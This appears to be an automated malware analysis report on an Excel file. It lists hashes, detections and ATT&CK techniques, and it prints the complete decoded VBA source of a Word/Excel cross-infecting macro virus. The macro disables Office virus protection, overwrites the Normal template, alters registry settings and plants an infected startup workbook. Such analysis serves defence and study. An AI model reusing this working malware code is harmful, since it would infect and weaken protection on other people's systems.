Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0baf686d2d7b2c4d…

MALICIOUS

Office (OLE)

24.5 KB Created: 1999-01-23 03:58:35 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 4b7d1da23cfbe0910eabcb4e0beda4d9 SHA-1: 17e617d6037f3e3f0cb7872634cdc1eff974ce8a SHA-256: 0baf686d2d7b2c4df06f2408a903b8c3c27e5fa598adb4f85499c80e210bf6d4
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macros within this Excel file utilize CreateObject and GetObject calls, indicative of malicious intent. The script attempts to inject itself into the NormalTemplate and create a file named 'Book1.' in the Excel startup path, likely to achieve persistence. The ClamAV detection 'Doc.Trojan.Hopper-8' further supports the malicious classification.

Heuristics 4

  • ClamAV: Doc.Trojan.Hopper-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hopper-8
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4204 bytes
SHA-256: f3948f539e92fd6b441e2c2a5990e664e69aec7422d474dc7b7409f0e78ceab2
Detection
ClamAV: Doc.Trojan.Hopper-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Cross.BadSeed vT.2
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountOfLines
        NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
    End If
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountOfLines
        AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
        If WordObj = "" Then
            Set WordObj = CreateObject("Word.Application")
            WQuit = True
        End If
        Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
        WordObj.Options.SaveNormalPrompt = False
        NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel"", ""Options6"") = """"" + Chr(13) + Chr(10) + "System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel"", ""Options6"") = """"" + Chr(13) + Chr(10) + "End Sub"
        WordObj.Run "Normal.ThisDocument.DisableAV"
        NT.DeleteLines 1, NT.CountOfLines
        NT.InsertLines 1, TW.Lines(1, TW.CountOfLines)
        Set NT = Nothing
        If WQuit = True Then WordObj.Quit
        Set xlApp = CreateObject("Excel.Application")
        Set Book1Obj = xlApp.Workbooks.Add
        Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountOfLines)
        Book1Obj.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
        Book1Obj.Close
        xlApp.Quit
    End If
    If AW.Lines(1, 1) <> "'<!--1nternal-->" Then
        AW.InsertLines 1, TW.Lines(1, TW.CountOfLines)
    End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = 
... (truncated)

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